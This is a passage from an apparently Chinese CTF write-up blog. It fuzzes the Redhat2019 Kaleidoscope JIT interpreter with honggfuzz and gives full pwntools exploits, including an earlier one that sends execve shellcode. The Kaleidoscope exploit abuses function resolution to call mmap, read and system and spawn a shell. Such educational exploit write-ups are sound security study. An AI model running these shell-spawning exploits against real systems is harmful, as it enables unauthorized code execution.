    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./file_name")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./file_name")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        sh.recvuntil('> ')
        sh.sendline('90') # NOP byte
        sh.recvuntil('> ')
        sh.sendline('80') # NOP size
        sh.recvuntil(': ')
        sh.sendline('7C') # patch offset
        sh.recvuntil(': ')
        sh.sendline('EB') # patch value
        sh.recvuntil(': ')
        sh.sendline('7D') # patch offset
        sh.recvuntil(': ')
        sh.sendline('46') # patch value
        sh.recvuntil('[1/3] > ')
        sh.sendline('504831d24831f648') # ROP
        sh.recvuntil('[2/3] > ')
        sh.sendline('bb2f62696e2f2f73') # ROP
        sh.recvuntil('[3/3] > ')
        sh.sendline('6853545fb03b0f05') # ROP 
        sh.recvuntil('> ')
        # sh.sendline('1') # Watch
        # open('./introool','w').write(base64.b64decode(sh.recvuntil('\n',drop=True)))
        sh.sendline('2') # Attack
        sh.interactive()
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x07 以 [Redhat2019] Kaleidoscope 为例

题目地址:

题目信息

image-20200616221707222

没有开启CanaryRELRO保护的64位程序

image-20200616221619917

通过试运行的结果,可以确定这是一个解释器

image-20200616222141372

当我们把它加载到IDA中时,我们就可以很明显的看出,此程序使用了C++语言编写,并且在编译时启用了一些LLVM的优化选项,使得我们的代码识读变得十分困难,我们可以通过题目名以及一些题目中的固定字符串去发现,这是一个Kaleidoscope即时解释器,LLVM项目将其作为例程来表示如何去构建一个即时解释器,我们可以在 Building a JIT: Starting out with KaleidoscopeJIT 找到这个例程的解释,同时可以在 llvm-kaleidoscope 处找到该项目的源码。

该项目的main函数源码是形如这样子的:

int main() {
    BinopPrecedence['<'] = 10;
    BinopPrecedence['+'] = 20;
    BinopPrecedence['-'] = 20;
    BinopPrecedence['*'] = 40;
    fprintf(stderr, "ready> ");
    getNextToken();
    TheModule = llvm::make_unique<Module>("My awesome JIT",     TheContext);
    MainLoop();
    TheModule->print(errs(), nullptr);
    return 0;
}

但是本题的main函数的反编译结果却是:

image-20200616223503824

这种代码会令人十分的难以去理解,但是通过比较这两段代码可以发现,这段代码额外的定义了一个=操作符,一般情况下,这种额外的定义往往会伴随着漏洞的发生,但是由于此处的代码分析量实在是过于庞杂,因此我们此处考虑使用fuzz的思路。

fuzz测试

此处我们决定使用honggfuzz这个模糊测试工具,这是一个由Google维护的一个fuzz工具。

安装honggfuzz(以ubuntu 16.04为例)

首先我们需要拉取项目

git clone https://github.com/google/honggfuzz.git
cd honggfuzz

然后需要安装相关的依赖库文件

apt-get install libbfd-dev libunwind8-dev clang-5.0 lzma-dev

接下来需要确认lzma的存在:

locate lzma

如果发现只有liblzma.so.x文件,那么需要建立一个符号链接

sudo ln -s /lib/x86_64-linux-gnu/liblzma.so.5 /lib/x86_64-linux-gnu/liblzma.so

接下来执行以下命令来完成编译安装:

sudo make
cp libhfcommon includes/libhfcommon
cp libhfnetdriver includes/libhfnetdriver
cp libhfuzz includes/libhfuzz
sudo make install

至此,我们的honggfuzz主程序安装结束。

安装honggfuzz-qemu(以ubuntu 16.04为例)

接下来因为我们要进行fuzz的是黑盒状态下的程序,因此我们需要使用qemu模式来辅助我们监控fuzz的代码覆盖率,那么honggfuzz为我们提供了honggfuzzMAKEFILE,我们直接使用如下命令即可安装

cd qemu_mode
make
sudo apt-get install libpixman-1-dev
cd honggfuzz-qemu && make

⚠️:使用docker化的honggfuzz时会产生变量类型的报错,目前没有找到解决方式,已经提了issue,因此不建议使用docker化的honggfuzz安装honggfuzz-qemu

⚠️:安装时会使用git安装不同的几个包。

启动测试

安装完毕后我们就可以启动fuzz测试了

honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/Kaleidoscope

其中,/work/in/是语料库文件夹,将我们所需要的种子语料以txt形式放置在语料库文件夹即可。

可以发现,在1 h 25 min分钟的时间里,就已经触发了一些crash

image-20200620134159703

漏洞分析

我们可以查看当前文件夹下生成的crash文件,里面存储了产生此crash所使用的输入样本,我们注意到,在这14个样本中,有一个形如:

def fib(x)
    if x < 3 then
        1
    else
        526142246948557=666
fib(40)

的样本,当我们把它喂进程序时,程序显示了一个较为异常的报错信息。

image-20200620195729332

这里说程序无法处理我们给定的外部函数,可以发现这个报错里出现了extern关键字

那么我们进一步测试,发现当我们向程序输入extern关键字时会报错:

image-20200620200257084

那么我们来定位这些报错的位置:

image-20200620214910659

可以发现,当我们直接使用extern函数时会产生报错,而当我们采用形如:

def fib(x)
    if x < 3 then
        1
    else
        1=1
fib(40)

的输入时会直接调用libLLVM.so中的内容。

我们可以分析出以下调用过程,当我们向程序传递以上参数时,首先会经过解释器的函数解析,解析后会将我们要调用的函数名传递给libLLVM.so,然后通过其内部的RTDyldMemoryManager::getPointerToNamedFunction做函数指针的寻址,关于此函数此处有更加详细的解析。

那么此处我们是否可以通过这个机制来调用任意函数呢?我们构造以下数据来进行输入:

payload = '''
        def puts(x)
            if x < 3 then
                1
            else
                1=1
        puts(1234)
        '''
get_gdb(sh,stop=True)
sh.recvuntil('ready> ')
sh.sendline(payload)
sleep(0.5)
sh.recvuntil('ready> ')
sh.sendline('1')
sh.interactive()

image-20200620220449410

可以发现,的确调用了libc内的函数,且发现其参数正是我们传入的1234

漏洞利用

那么我们只需要先调用mmap(1048576, 4096, 7, 34, 0)来分配一段空间以用来存储我们的/bin/sh

然后调用read(0,1048576,10)来读取我们的/bin/sh,最后再调用system(1048576)即可getshell

Final Exploit

from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

Kaleidoscope=ELF('./Kaleidoscope', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./Kaleidoscope")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./Kaleidoscope")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        payload = """
        def mmap(x y z o p)
            if x < 3 then
                1
            else
                a=1

        mmap(1048576, 4096, 7, 34, 0);
        """
        sh.recvuntil('ready> ')
        # get_gdb(sh)
        sh.sendline(payload)
        sleep(0.5)

        payload = """
        def read(x y z)
            if m < 3 then
                1
            else
                0=1

        def system(x)
            if m < 3 then
                1
            else
                0=1

        read(0, 1048576, 10);
        system(1048576);
        """
        sh.recvuntil('ready> ')
        sh.sendline(payload)
        sh.recvuntil('ready> ')
        sh.sendline('/bin/sh\x00')
        sh.interactive()
        flag=get_flag(sh)
        # try:
        #     Multi_Attack()
        # except:
        #     throw('Multi_Attack_Err')
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

image-20200620224112912

0x08 以 2020 DAS-CTF OJ1 为例

安恒月赛的题目为闭源信息,本例题不会给出任何形式的附件下载地址

解题思路

题目要求我们输入不带括号的C代码来执行,注意,此处的程序要求我们不允许带有任何形式的括号,包括大括号,中括号,小括号,这就使得我们无法通过常规的C代码形式提交,例如int main(){}等等,这里我们给出一种奇特的可运行的C代码形式。

const char main=0x55,a1=0x48,a2=0x89,a3=0xe5;

例如我们直接编译以上代码,在main处下断

image-20200620231501175

那么我们直接找到对应汇编码即可。

0x09 参考链接

【原】[Redhat2019] Kaleidoscope – matshao

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注